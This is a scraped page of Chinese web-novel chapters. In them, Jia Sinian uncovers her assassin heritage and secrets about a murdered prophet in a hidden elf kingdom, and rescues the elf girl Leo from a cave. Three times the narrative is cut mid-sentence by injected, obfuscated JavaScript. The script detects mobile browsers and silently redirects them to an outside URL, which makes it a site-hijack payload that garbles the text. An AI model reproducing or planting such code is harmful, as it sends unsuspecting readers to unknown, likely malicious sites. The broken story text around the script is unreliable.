自从贾思年来到普罗菲塔,她每天都能从精灵们那里感受到直白的恶意,这是人类自食其果,她倒是觉得无所谓。这要是身份对调,恐怕精灵在人类的历史书里会变成十恶不赦的魔鬼吧? 她又在下册翻看了这本书对近代劳拉西亚洲上的夏曦国及其周边附属国的描述,也和人类世界的普遍认知没什么出入。 那就更不对了啊,难道精灵们对她的恶意,是自己想多了? 贾思年甩了甩头,她可不是什么敏感多疑的人,正当她百思不得其解时,她脑海里忽然又响起了那个女人的声音:“你要全神贯注,阿谨。” 贾思年狼狈地笑了。 这几天里,她一边逃避现实,一边严格奉行那女人的教诲,“全神贯注”,就是那女人对她的教导。她知道那个欺负里奥的精灵小子对她傲慢无礼的真正原因,她只是不想承认罢了。 她的心跳加速,手指有些颤抖,她在目录里仔细查阅,终于在劳拉西亚洲的篇章找到了一个完全陌生但又让她无比笃定的地名——“影岛”。 她深吸一口气,翻到了这里: “影岛是劳拉西亚洲南部接近赤道的岛屿,隶属于夏曦国,岛上居民是精灵和劳拉西亚洲西南丛林部落民族的混血。这里最开始是夏曦国的混血贵族专门选拔刺客的地区,此处的混血居民身体素质优异,并演变出了一种隐藏自己能力,精神系的精灵之力和混血法术都无法察觉他们的行动和思想,从古至今,许多混血甚至纯血精灵都死在影岛刺客的手下。 直到现在,这座恶贯满盈的岛屿仍然为世界各地的混血权贵执行暗杀工作,如著名的维肯特国王哈瓦立德遇刺,和几乎所有的安比克索总统遇刺等,影岛刺客都是十分重要的一环。” 故乡的传说……是真的? 贾思年努力说服自己不要再逃避。 那个女人说的也都是真的。 她尽全力抑制自己不要发狂。 她知道精灵们对她的恶意和对林奈的害怕和好奇是截然不同的,原来是因为她既不算人类,也不被混血接纳。她的族人是混血们自相残杀的工具,夏曦国的混血贵族一手创造了影岛人,然后又抛弃了他们。 贾思年躺倒在沙发上,书本从她的膝盖滑落到了地上,她呆滞地看着天花板,她不知道自己现在应该做何感想,但她想起了那个女人,那个她曾经叫母亲的女人。 贾思年已经不记得当年带她去金港的那个女人长什么样子了,那个女人在凌晨时分把她丢在了潮湿的街上,她只记得自己又冷又困。然后在天刚蒙蒙亮的时候,她看见了老贾天生一脸不高兴又布满皱纹的脸,就像一颗梅子干。 老贾是在自己的修理铺门口捡到了她,他让她进来睡在深绿色的沙发上,她觉得客厅好温暖,沙发好宽大。老贾跟她说天亮了就带她去警察局,但是等她睡醒了,老贾又不带她去了,老贾问她叫什么名字,她说自己没有名字。 “如果我妈妈死了,我就叫她的名字。”她跟老贾解释。 “这是什么规矩!”老贾的手杖猛猛敲了几下地板,似乎很生气:“我是老贾,以后你就是小贾!” “好,”小贾蜷缩进沙发,双手环抱着双腿,轻轻问:“我妈妈不会死,对吧?” 老贾沉默了很久,然后说了些什么。爷爷当时到底说了什么?贾思年记不清了,她只记得自己很悲伤,她实在没法还原一个六岁孩子的悲伤了。 贾思年忽然陷入了一片黑暗。 停电了? 她从沙发上坐起来,突然的漆黑让她觉得自己的感官被放大,她摸索着走到窗台拉开了窗帘。月光柔和,窗外的建筑亮着各色的灯光,贾思年打开窗户,初秋夜晚的凉风吹在她的皮肤上,她觉得自己平静了下来。 普罗菲塔的存在是既定的事实,世界本就不是人类一直以来认为的模样。 对于时间和历史来说,贾思年知道自己不过是一粒灰尘,没人会在意灰尘是否接受自己的出身,毕竟这个世界上对自己出身不满意的人实在是太多了。 但她又想起了她的母亲,只有她在意贾思年的出身,她逃到金港,就是希望贾思年不要再变成别人诡计里的一枚棋子,贾思年不知道私自送走自己的孩子在影岛是否合规,她不知道母亲回去后会怎样。 她知道自己这辈子都不会再见到那个女人了,但她希望她还活着。 贾思年深吸了一口微凉的空气,走过去给旅馆前台打电话,是能源线路正在抢修。前台的小姐告诉她桌子下的抽屉里有手电筒。贾思年拿出手电筒点亮,然后看到林奈推开门从内间走了出来,看起来迷迷糊糊的。 “贾你还没睡啊,怎么不开灯?” “停电了,你要去洗手间吗?” 林奈点点头,贾思年把手电筒递给他,屋子里马上又陷入了黑暗。她等着林奈出来,看着他回到床上倒头就睡,她笑了笑把门关上,回头看见刚才掉落在地毯上的两本书,其中一本直接扣翻在地。 不好,借来的书弄坏就糟了。 她把手电筒放在地上,蹲下整理轻微折损的书页,问题不大,她松了一口气,她正要拾起另外一本摊开在地上的书,惊讶地发现书页周围的空白处似乎写满了字。 贾思年以为自己眼花了,她捡起手电筒想仔细看看上面的内容,却发现字迹已经消失不见了。 难道真的是看错了? 她努力回想刚才的场景,她把手电筒和书重新放回在地上,字迹又浮现了出来,她动了动手电筒的方向,字迹又立刻消失不见了。 原来是跟普罗菲塔的大门一样的把戏。 贾思年坐回沙发上,让手电筒的光从斜前方与书页平行地照到纸上,她看到那些俊秀的文字,像是做的读书笔记,她翻到扉页看见上面写着一个名字,涅米宁,看来这就是笔记的作者,她决定先不管这个名字是何方神圣,翻到了第一章。 书上的内容与查克介绍的没有出入,普罗菲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537541|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塔在石器时代见世间疾苦,决定帮助人类,然后在一场宴会中被人类残忍地杀害。 其实在第一天听查克说起此事时,贾思年就觉得有哪里不对,普罗菲塔作为有预言能力的先知,怎么可能随随便便被人类所杀?她又往后看了看,书上在讲阿萨斯诺挑唆自己的国王召集了六位君主设宴,在席间杀害普罗菲塔,然后利用普罗菲塔的血统治科斯塔洲西部地区将近三百年,但是人类的史学家们却认为阿萨斯诺并不是一个人,而是古典时代几代君主的集合。 确实是这样,贾思年想起了欧莱经书,她早就认定普罗菲塔就是勒普拉教的先知拉斐特,但是两边描写的结局却有很大出入,可以说是各哭各的惨:普罗菲塔死在了七位君主手下,而拉斐特则处死了想要谋害他的人然后回了故乡。 至少有一方在说谎。 她看到阿萨斯诺的名字被用笔圈了起来,旁边的笔记写到—— “霍塔加看到了他兄弟的死亡,他让人类忘记了精灵的存在,并诅咒人类将永远困在无休无止的纷争中,诅咒当即在七位君主身上应验,他们为独占普罗菲塔的血而互相残杀,而阿萨斯诺却坐收渔翁之利,他用普罗菲塔的血活了三百年。” 等等。 贾思年的大脑好像停了一拍,如果按照这个说法,阿萨斯诺为了隐瞒自己的罪行称拉斐特惩罚了七位君主并回了故乡,而精灵国王霍塔加则隐瞒了为了复仇对人类施加的诅咒,只声称与人类世界切断了联系。 只论虚伪的话,还真是世界物种一家亲,贾思年觉得无话可说。 那为什么会留下门? 这个疑问突然出现在了她的脑袋里,她简直难以理解这位国王的行为,如果对人类真的恨之入骨,为什么还要对人类世界留下了一道门? 把狗骗进来杀吗?那为什么自己还活着?这又有什么意义呢? 她想不通,决定先继续读下去,她看到科斯特杰与霍塔加意见相左而选择离开时,旁边的笔记简单地写了一个词——“复仇”。 贾思年瞪大了眼睛,顿时感觉浑身汗毛竖起。 所以科斯特杰的出走其实是为了给普罗菲塔报仇? 她见识过精灵之力,她没法想象一个强大的精灵进入人类世界复仇会发生什么。 科斯特杰做什么去了? 她快速地往后翻书,企图能再看到笔记,直到她翻到古典时代的夏曦国,发现一个名字被圈了起来,谋士“司杰”。 不需要任何注释,贾思年已经明白了,恐怕夏曦国在古典时代的第一次分裂,就是科斯特杰对人类的报复。但是过了大概五六百年,夏曦国就又一次完成了统一,她想到查克曾说过精灵离开阿库普拉岛寿命会缩短,想必科斯特杰也没能逃过。 贾思年又仔细翻了翻,确定没有其他的笔记了,她合上书,依旧百思不得其解,如果普罗菲塔真如精灵和勒普拉教记述的一般全知全视,那么他怎么会不知道自己会死在七位君主的欲望之下?他为什么还要去赴宴呢? 除非他是自愿赴死的。 可他死了之后发生了什么呢? 霍塔加对人类施加了诅咒,然后把精灵们封闭了起来;科斯特杰为了替他复仇,来到人类世界然后早早离世,这些是他想要的结果吗? 他想惩罚人类? 然后让精灵和人类老死不相往来? 那他一开始老老实实在家里待着不就完了吗? 看人类可怜他要帮,帮完了他又要杀,猪得养肥了再宰吗? 贾思年觉得自己走到了死胡同,她摇了摇头,放弃了这个念头。 他死后人类世界又发生了什么呢? 阿萨斯诺这样投机取巧的庸人得到了他的血,科斯塔洲长期以来的城邦结构瓦解,整个陆地被东西两大帝国瓜分,这样的死亡又有什么意义呢? 得到了他的血。 贾思年又打开书,反复咀嚼这段笔记。 血? 那普罗菲塔的躯体去哪了? 贾思年突然意识到这个重要的问题,光是血液就可以让阿萨斯诺活三百年的话,那么普罗菲塔的躯体又能做到什么? 贾思年翻来覆去地寻找,但不管在哪里对先知的遗体都没有特别的记述。 那么就只有一种可能,他的躯体留在了科斯塔洲。 难道他情愿赴死,是为了把自己的躯体留给科斯塔洲人? 这怎么可能? 贾思年冷笑了一声合上了书。 普罗菲塔是装圣人装魔障了吗?骗骗大伙儿也就算了,怎么可能把自己也给骗进去了。 贾思年可以肯定,不管最后人类和精灵之间的结果如何,普罗菲塔一定有他不为人知的目的,不管这个动机是好还是坏,他都一手创造了后来整个星球的局面。 作为先知,普罗菲塔究竟看到了什么? 他又能未卜先知到何种程度? 难道现在的一切,都还在他的掌控之中吗? 贾思年又一次来到窗前,科斯特杰夜晚闪烁的灯光之后,是巨大的漆黑的建筑,就像是光鲜表象背后的巨大阴谋。 贾思年眉头紧蹙,盯着暗处那些漆黑的影子陷入了沉思。 13. 沼泽里的国家(八) “拉斐特见到宽广的河流,称它威斯郡马拉, 那是水神的名字。” ——《欧莱经书:起源》 天空淅淅沥沥地飘着小雨,水汽晕开了树木浓浓的绿意,将贾思年包围在潮湿之中。 虽然昨天夜里贾思年听到窗外的雷声就隐约觉得大事不妙,但一行人还是按照约定一早就来到了祈愿山。 贾思年戴着夹克衫上的兜帽,抬头看着整齐的石砌台阶,暗自叹了口气。 想在旅游区里找线索,自己也是想象力挺丰富。 但是雨水带来的树木和泥土的香气又让她心情大好,她深吸了一口气,环顾周围,树林里的水雾像悬浮的白纱,在空中渐渐飘散。 倒也不算毫无收获嘛。 “为什么叫祈愿山呢?” 贾思年一边爬台阶一边询问道,“我的意思是,普罗菲塔很多地名听起来都像是精灵的古语,为什么它的名字这么直白。” “这座山最一开始叫威斯郡马拉”查克回答。 “那是水神的名字。” 贾思年和查克异口同声。 查克的神经仿佛瞬间被击中,他惊讶地转过身来问道:“您怎么知道?” 贾思年笑了。 歪打正着,好像还真来对地方了? “您可能不知道,人类世界有宗教也称普罗菲塔为先知,科斯塔洲最长的河流就叫威斯郡马拉,据说是先知以水神的名字命名的。” 查克的眼里闪过一丝惊喜,而后又眉头紧锁,他问道:“在人类的故事里,普罗菲塔是怎样的呢?” “智慧和善良的化身,他是人类走向文明的导师。”贾思年略经思考回答。 “但依旧逃不掉被残忍杀害的厄运。”查克忽然变得冷淡,注意力又回到了爬山上。 “我很抱歉,但是为什么又改叫祈愿山了呢?” “普罗菲塔成立没多久国王就下令更名了,为了给离乡的科斯特杰祈求庇护。” 改个名字能有什么庇护。 这个国王真是做什么都爱找理由,贾思年在心里揶揄。 不如说是普罗菲塔死了没多久这里就改名了,国王在那之后都做了什么她不得而知,不过至少能说明这地方确实有点意思。 但在贾思年细致的观察下,她还是觉得这里除了景色,确实没什么别的意思。 唉,不管怎么说还是旅游区。她在心里叹了口气。 豆大的雨水突然砸在贾思年的兜帽上,雨顷刻之间下大了,众人急忙跑进路边的亭子里躲雨。贾思年看着雨水在步道对面的湖面上沸腾,像水下有许多鱼在张嘴呼吸,她走出亭子,站在雨中,雨水顺着石阶向下奔流成河,她的兜帽里充斥着雨声。 贾思年喜欢暴雨天,很小的时候就喜欢。 她会在暴雨时蹲在院子的门口看大雨倾泻如注,看雨水洗刷干净地面上的一切,只留下片刻的宁静。 她觉得雨水足够公平,也足够无情,暴雨是天空肆虐的发泄,可以连带着自己的暴戾一起汇入洪流。 她很早就意识到自己的大脑偶尔会侵入一些冲动的坏念头,比如突然想要打爆同班某个让人烦躁的男孩的头,比如在有人吹嘘自己成绩的时候想在他的试卷上戳两个大洞,她常常惊讶自己的破坏欲如关不住的猛兽,但这些念头最终都被她驱散掉了。 直到她看到学校的几个男孩在欺负洛洛,那条她偷偷喂了很久的流浪狗。 她看见他们踩着洛洛的尾巴,又看见洛洛被他们高高举起又重重摔下,她听见洛洛可怜的呜咽。 铁笼里一群一直戴着嘴套的鬣狗终于失去了控制。 她似乎丢失了关于自己如何发狂的记忆,也记不清那些男孩如何反击又如何求饶,她只记得自己也变成了其中一条鬣狗,冲到猎物面前撕咬眼前的一切,年幼的她只知道鬣狗是为了生存而捕猎,并没有意识到她真正享受的是捕猎的感觉。 最后,她记得有大人把她拉开,然后她就低着头站在了教导主任办公室的门口,等着里面的老贾出来带她回家。 老贾推门出来,看起来没什么表情,他天然一副不高兴的样子。 “为什么打人?” “因为他们欺负洛洛。” “洛洛是谁?” “附近的小狗。” 老贾沉默,让她带他去看狗,后来他好像很生气,但却执意让她把狗带回家。 “以后不许欺负同学。” 贾思年点点头。 “要是有人打你,你就打回去。” 贾思年迟疑了片刻,点点头。 “下手要有轻重,你要克制自己。” 贾思年低下了头,点点头。 贾思年站在雨中,台阶上向下奔腾的雨水逐渐汇成一条小河,雨水几乎漫上她的鞋面。 这也太夸张了吧?这么多的水是从哪里来的? 她逆着水流向上望去,忽然看到不远处的台阶上有一把红色的雨伞,伞下是一个穿着白色斗篷的身影。 这么大的雨,还要继续爬山吗? 她望着他的背影。 打伞的精灵似乎意识到了背后的目光,忽然转过身来。 贾思年看清了他的脸,那是一张分不出性别的脸,像是美丽俊秀的少年,又像是英气十足的少女,他银色的头发和白皙的皮肤仿佛在雨中发出朦胧的光泽,他看了她一眼,微微低头向她致意。 贾思年不由自主地举起手向他挥了挥,她回头看向亭子里的众人,却发现里奥不知什么时候已经站在了她的旁边,她看着里奥同样有些呆滞地望着红伞精灵的方向,再正过身来时,却发现那把红伞已经消失不见了。 “请等一下!” 里奥突然大喊一声,顺着台阶向上跑了起来。 这小鬼突然抽什么疯? “我们去前面看看!”贾思年冲着亭子里躲雨的林奈和查克大喊,然后立刻跟在里奥后面跑了起来。 里奥显然不擅长运动,贾思年很快就追上了她,她跟着她跑过了整齐的台阶,忽然转到了树林里一条泥泞的小路上,顺着这条路不知向上爬了多久,又来到了一条宽阔的主路上,里奥在主路上忽然停下了,她蹲在树丛边,大口大口喘着粗气。 “你怎么突然就跑起来了?”贾思年走到她身边。 “……那个精灵……他散发的气息……很不一样……” “所以他跑哪去了?” “不知道……他到这里就消失了……” 雨渐渐小了,风把细密的雨丝吹到贾思年的脸上,她双臂叠在胸前,觉得有点莫名其妙:“什么叫气息很不一样?” 里奥终于喘匀了气,她抬起头,但声音仍然没什么力气:“每个生物在我看来,都有自己的精神力场。” “大家的个性不同,可能会有细微的差别,但总归都是精灵。”里奥的眼睛看着不远处的树林,“但是刚才的精灵,他跟其他精灵很不一样,我甚至不能判断他是不是精灵。” “哦?不是精灵还能是什么?” “不知道,”里奥若有所思地盯着被雨水洗净的路面,“贾,你的精神力场也很特别。”里奥抬起头看着贾思年的眼睛:“你进入普罗菲塔的第一天我就注意到你了,你就像一个黑洞,在普罗菲塔的精神力空间里造成一个巨大的塌陷。” “第一天?你也在科斯特杰吗?”贾思年眨眨眼睛回忆,没记得有见过类似的精灵少女。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537542|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 里奥摇摇头,“我不需要在科斯特杰,我可以感知整个普罗菲塔的精神力场。” 居然还有这样的能力,贾思年有点惊讶,“那你能知道大家都在想什么?” 里奥又摇了摇头:“我不能,我并没有读心的能力,我只能感知。” “很没用的能力对吧?”她轻轻叹了口气。 “这怎么能叫没用的能力,”贾思年微微皱眉,她觉得这个能力乍一听似乎有点鸡肋,但仔细想想其实很了不得,但她一时又不知道应该用在哪里:“你只能感受到生物吗?没有生命的物体呢?” “其实在我看来,并没有完全没有生命的物体,”里奥轻声说,“所有的物体都是在不断运动的,它们都有属于自己的场。” 贾思年愣住了,她想到了一个人。 不,准确来说那不是一个“人”,她想到了那位全知全视的先知。 “你能看到普罗菲塔外面的世界吗?” 里奥再次摇了摇头:“不能,我曾经尝试过,普罗菲塔之外是一片虚无。” 贾思年陷入了思考,看来普罗菲塔的与世隔绝是双向的,不仅外面的人找不到里面,里面的人也看不见外面。 但是国王对外界留了一道门,对内会不会也留下了门呢? “贾……里奥……” 贾思年忽然听到林奈气喘吁吁的声音,转身看见林奈和查克追着她们也穿过树林来到了这里。 “抱歉各位,我们刚才看错了,害大家追出来这么远。”贾思年装作不好意思地笑笑。 “哈?……我们跟着你们跑了这么远!”林奈在路上跺脚,试图甩掉靴子上的泥水。 “不过这是哪里呢?”林奈环顾四周问道。 “这里应该已经是景区之外了。”查克回答,指了指眼前平整的主路道:“我们顺着这条路应该可以走回景区。” “好吧,”里奥黑色的眼睛微微下垂,“那我们就回去吧。” 说着她正要站起身,可突然一个重心不稳,她的身体向后栽去。 “啊——” 里奥身后的树丛里竟然藏着一个洞穴! 贾思年匆忙扑向里奥,试图抓住她的脚踝,但却扑了个空,她听见里奥的叫声在洞穴里回荡,然后忽然噗通一声,就再也听不见任何声音了。 “里奥!你怎么样?”贾思年扒开树丛和藤蔓对着漆黑的洞穴里大喊。 回答贾思年的只有她自己的回声。 坏了。 贾思年回过头去,看见查克已经在试图打电话求助,“这里没有信号,需要往下走回景区。”查克开始变得着急。 贾思年从登山包里拿出绳子,她脱下斗篷,细密的雨丝落在她的头上,她把斗篷递给林奈:“我下去看看。” “这太危险了贾女士!”查克大声制止。 “不用担心我,你去山下找救援,林奈留在洞口。”贾思年从腰包里掏出了无线电耳机递给了林奈。 查克眉头紧锁,目前他也想不到更好的方法,“好吧,注意安全。”说着便向山下跑去。 贾思年戴上了头灯和无指手套,调试无线电耳机:“可以听到吗林奈?” “你一定要下去吗?” 耳机里和空气里,林奈的声音都有些担忧。 贾思年拍了拍他的肩膀:“放轻松,你知道这对我来说小事一桩。” “好吧,”林奈叹了口气,“你要小心啊。” 贾思年固定好绳子,打开头灯,后撤着进入了洞穴,慢慢整个身体爬了进去,她冲着林奈微笑。 “别担心。” 林奈点点头。 一双眼睛透过繁茂的树冠,静静地俯视着一切。 14. 沼泽里的国家(九) 贾思年抓着绳子,身体抵着洞穴的内壁,慢慢向下爬去。 洞口刚开始很窄,越向下越宽阔,她头上戴着头灯,双脚踏在洞穴壁上慢慢降落,短靴在洞穴壁上激起尘土飞扬,她忍不住咳了几声。 很快,她降到了这段狭长洞穴的尽头。 贾思年向身后望去,洞穴的地面离她很近,她松开绳子跳了下去,又卷起一阵尘土,她挥了挥手想要驱散面前的灰尘,发现里奥就躺在不远处。 “里奥!” 贾思年跑过去,蹲下试了试她的鼻息。 还好,还有气。 她又仔细检查了一遍,发现除了头上磕了一个大包,里奥安然无恙,贾思年松了一口气,对耳机里的林奈说:“她还活着,只是昏过去了,我们就在下面等救援。” “里奥。”贾思年轻轻碰了碰里奥的肩膀,她依旧没有反应,贾思年在她身边坐了下来,开始环顾这是个什么地方。 洞穴很宽阔,内壁上布满了沉积留下的钟乳石,层层叠叠的钟乳石像深海中漂浮的巨型水母。 贾思年又看到地上的石笋,心里微微一惊。 还好里奥没有摔到这些东西上。 她站起身用鞋尖碰了碰地上的石笋,咔的一声,石笋断开了。她没想到这东西这么容易就断了,觉得好像哪里不对。 靴子落地又掀起了一阵灰尘,贾思年打了个喷嚏。 这里怎么这么大的灰尘! 灰尘? 她突然意识到了这份怪异感的源头,她摸了摸洞穴内壁上的钟乳石,指尖带来了干燥的触感和灰白的粉末。 怎么会是干燥的呢? 贾思年十分疑惑,如果完全没有水,怎么可能形成这样的造型呢?她向四周看去,头灯的光圈里只有一片片灰白,完全没有水存在过的痕迹,这里就像一个坟墓,一个洞穴的坟墓,里面布满了这些钟乳石惨白风干的尸体。 “咳咳……” 贾思年突然听到一阵咳嗽声。 是里奥! “你怎么样里奥!”她在她身边蹲下。 里奥皱着眉慢慢睁开了眼睛。 “嘶。” 她用手摸了摸头上的包,感受到了传来的剧痛,“贾,我们这是在哪?” 贾思年扶她坐了起来,拍了拍她身上的灰尘,“你没事就好,你不小心掉进这个洞穴里了,维尔塔宁先生已经去山下找救援了。” “所以你为什么也在这里?”里奥看起来还是迷迷糊糊的。 “我当然是下来看看你怎么样啊。” 贾思年又打开了耳机对林奈讲道:“里奥已经醒了。” 然后很快听到了林奈高兴的声音:“太好了!” 里奥摇了摇头,好像清醒了一些,“这下面居然有空气。”她闭上了眼睛,不一会儿又突然睁开了黑色的眼睛。 “贾,那边,那边有出口。”里奥指着洞穴漆黑的深处说道。 出口? 贾思年从腰包里拿出一根火柴擦亮,火苗随着空气的流动在黑暗中跳跃。 “确实,我们过去看看。”她吹灭了火柴。 里奥戴着头灯走在前面,一些巨大的石头随意地铺在地上。她在石头上奋力地爬,但她根本不擅长运动,刚刚在山上的奔跑就已经是她身体的极限了。 “你可以吗?”贾思年问道。 “可以的。”里奥发出勉强的声音。 贾思年手脚并用越过石堆,忽然看到了光亮,“里奥!前面有光。” 她加快了动作,很快看到了一片开阔阴沉的天,她从巨石堆里爬了出来,看见宽阔的洞口外,立着一群细长高大的石峰。贾思年向下望去,感到轻微的眩晕,群山的纵深尽显石峰的奇特和高大,十几座山巍峨耸立,像十几位古时的将军,葱郁的树木从石峰周围铺到对面的山上,仿佛千军万马从山上奔腾而下。 “贾……” 贾思年听见里奥微弱的声音,赶紧把她从石堆里拉了上来。 里奥站起身来,对眼前的景象感到不可思议。 她从来没有发现普罗菲塔有这样的地方,也从来没有想过祈愿山的后面到底是什么。 她一直都很想看看外面的世界,却没想到自己连普罗菲塔都不曾看尽。 “这太壮观了,”贾思年说道,“不过阿库普拉不过是一个岛,是怎么形成这样的地貌的?” “你们叫这里什么?”里奥垂下了眼睛。 “阿库普拉岛。”贾思年回答道。 “你们的书上不讲这些吗?我昨天借来的《世界简史》上,感觉对世界的介绍很全面。” “但是这里始终被称作普罗菲塔。”里奥扬起了头,她看着阴沉的天空。 “贾,你见过大海吗?” “见过,怎么了?” “海是怎样的呢?我在书上见过大海的描述,但我从没真正见过它。” 贾思年笑了:“其实……阿库普拉岛周围就是大海。” 是啊,不然怎么会被称作岛,里奥淡淡地想。 她其实也一直觉得普罗菲塔是一座岛,一座在无尽的虚无之上漂浮的岛屿,她以为自己会永远在这座岛上漂流直到腐朽。直到有一天,一个吞没一切的黑洞来到了这座岛上,岛上的精神力场开始坍塌,虚无的海水涌了进来,里奥觉得自己要被淹没,她在水里奋力地挣扎,却又觉得自己从没如此鲜明地活过。 里奥闭上了眼睛,她从来没有如此强烈的欲望,她想看看这些山外是什么,一张巨大的精神力场在她的脑海里展开,她看见这些山似乎被更远处的山围了起来,她继续试图探索更远,却发现自己触碰到了虚无的边界。 这一次里奥没有放弃,她沿着边界逐渐向上探去,发现这些了无生气的物质在天空中划了一个弧形。 这是怎么回事? 里奥拼尽全力继续探索,她的头上泛起了细密的汗珠,她的灵魂好像飞在普罗菲塔的上空,在穹顶的压抑之下试图寻找一个出口。 她穿过科斯特杰的巨大建筑,越过圣科托姆的砖红色钟楼,掠过马提拉整齐的农田。直到她飞跃了整个普罗菲塔的上空,她终于发现,普罗菲塔并不是漂浮在虚无之上,而是被虚无紧紧包裹。 里奥的魂魄瞬间回到了昏暗的洞穴里。 她感到窒息,大口大口地呼吸,却觉得空气根本无法进入自己的肺,而后又是一阵眩晕,她浑身打颤,痛苦地蹲了下来。 “你怎么了?”贾思年发现了她的异常。 “头晕,我觉得没法呼吸了。” “可你一直在大口呼吸啊。”贾思年捂住了里奥的口鼻:“过氧了,用鼻吸,不要再用嘴呼吸了。” 里奥的气息在贾思年的掌心下终于逐渐平稳,她恢复了正常,“谢谢你,贾,已经不知道是第几次被你救了。” 贾思年扶她站了起来:“多大点事,如果是你,你也会这么做的。” 里奥摇了摇头,“精灵们已经不像过去一样了。”悲伤写满了她的黑色眼睛,“父亲说,精灵们正在变得越来越冷漠。” “为什么呢?” “因为虚无。”里奥低下头,想着怎样给贾思年解释,“我刚刚才发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15537543|170948||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现,普罗菲塔并不是漂浮在虚无之上,而且被虚无覆盖了,天空中有一个巨大的弧形的顶,在此之外,全都是虚无。” 一个弧形的顶。 贾思年陷入了沉思,里奥说的虚无应该就是国王把普罗菲塔藏起来的手段,所以他是做了一个壳把整个国家罩了起来吗? 贾思年觉得不可思议,这样庞大的设施运行一天要用多少能源?何况是这样日夜不停地运转几千年! “精源是种取之不尽的能源吗?”贾思年问道。 “怎么突然问这个?”里奥愣了一下,摇了摇头。 “我听父亲说,精源不是取之不尽用之不竭的,普罗菲塔各地获得的精源总量都是按分配得来的,比如输送给农业区和科斯特杰的用量就是不同的。” 嗯? 竟然不是用不完的? 可国王居然一直在把大量的能源用在这样的事上! 可是能够维持这样的设施几千年,贾思年忽然又觉得精源其实就应该是源源不断的,但这样一来,国王就没必要欺骗民众,也没必要在分配上有什么偏颇。 贾思年觉得这位精灵国王简直不可琢磨。 一定还有什么线索,她摇了摇头,一定还有没被她察觉的细节,能把所有的事情连成一条完整的线。 “父亲说,情感最大的来源,其实是其他生物的情感,世间万物的精神力场交织在一起,才会互相补充,永不衰竭。” 里奥的话打断了贾思年的思考。 “而精灵们已经在虚无的茧里被包裹得太久,普罗菲塔的精神力场始终在不断地衰弱。” “贾,明天再和我去圣科托姆吧。”贾听见里奥的声音恢复了往常的平静,就像一潭死水。 “去那里做什么?” “诗社的同学们都很想见你和林奈。” “诗社?” 里奥点点头:“是圣科托姆的学生社团,”她微微停顿了一下。 原来是学生社团。 贾思年想到了在圣科托姆跟踪他们的学生。 “贾,不是所有精灵都想永远被关在这里。” “这倒是没问题。” 贾思年看着山下的树林,“我突然想到了一个问题,一直没有找到机会来问。里奥,有什么精灵能变成树吗?” “所有的精灵都可以变成树,在我们肉身消亡的时候。”里奥的眼睛闪过一丝疑惑。 “你怎么突然问这个?” “肉身消亡?” “是的,精灵不会真正的死亡,当我们的□□走到了尽头,就会变成一颗树,以另一种形式继续存在下去。”里奥解释道。 “你是在哪里看到了什么吗?” 原来那个变成树的精灵是死了。 贾思年点点头,“在我们还没完全进入普罗菲塔的时候,有一个精灵,长得很高大,大概得有两三米高,穿得很破烂,他在我们面前突然变成了一棵树。” “在普罗菲塔之外?有精灵?”里奥非常疑惑。 “是的,现在想想,普罗菲塔外面的树林很可能是一大片精灵的墓地,那些树看起来都非常高大粗壮,看起来至少活了几百年。” “怎么会这样……”里奥觉得不可思议。 “这些事可以以后再说,”贾思年大概估计了一下时间,“我们现在得赶快回去了,救援应该就快到了。” 里奥迟疑地点点头,“好。”然后又有些犹豫,“但请别提起我们来过这里,好吗?” “我明白,”贾思年笑着眨了眨眼睛。 “这是我们的秘密。” 15. 沼泽里的国家(十) 查克叫来的救援队很快将贾思年和里奥拉了上来。再次坐上列车返回时,所有人都筋疲力竭,贾思年坐在座位上,身体随着列车的晃动轻微摇摆。 今天又是疲惫的一天,而且依然没什么进展。 明天又答应了里奥再去一次圣科托姆,想来也不会有什么收获,难道就要这样一无所获的回家去了? 贾思年有轻微的挫败感,虽说人哪能一直一帆风顺,她的心态倒是坚不可摧,但是有人的船却一辈子没有扬帆,如果她失败了,这些人又该怎么办? 她知道委托人的事说到底与她没有一点关系,她没必要做多余的事,她看见阿库普拉岛上奇异的光束就应该闭上嘴巴然后立刻掉头回家去,告诉委托人她的任务完成了。 可她觉得天地不仁,她想为那些人搏一条可能的出路,她意外找到了那些怪力乱神的源头,见识了这些高科技和超自然的力量,她以为自己就快成功了。可在这里晃了好些天,她发现根本找不到解决问题的方法,她又一次感到深深的无力和虚弱。 她讨厌这样的感觉。 贾思年的精神再也支撑不住,她合上了眼睛。 …… 第一次见到安娜,是在阿福酒馆的老旧木质舞台上。 热闹的气味在酒馆的空气里散开,贾思年坐在吧台边上,一边用吸管搅着杯子里的冰块,一边在人声鼎沸里听着调酒师们手里的器具发出叮叮当当的响声。 酒馆的舞台上忽然响起了音乐,一个穿着红色舞裙的少女打着赤脚走到了台上。 她向着台下的客人们微微致意,然后开始了她的表演。 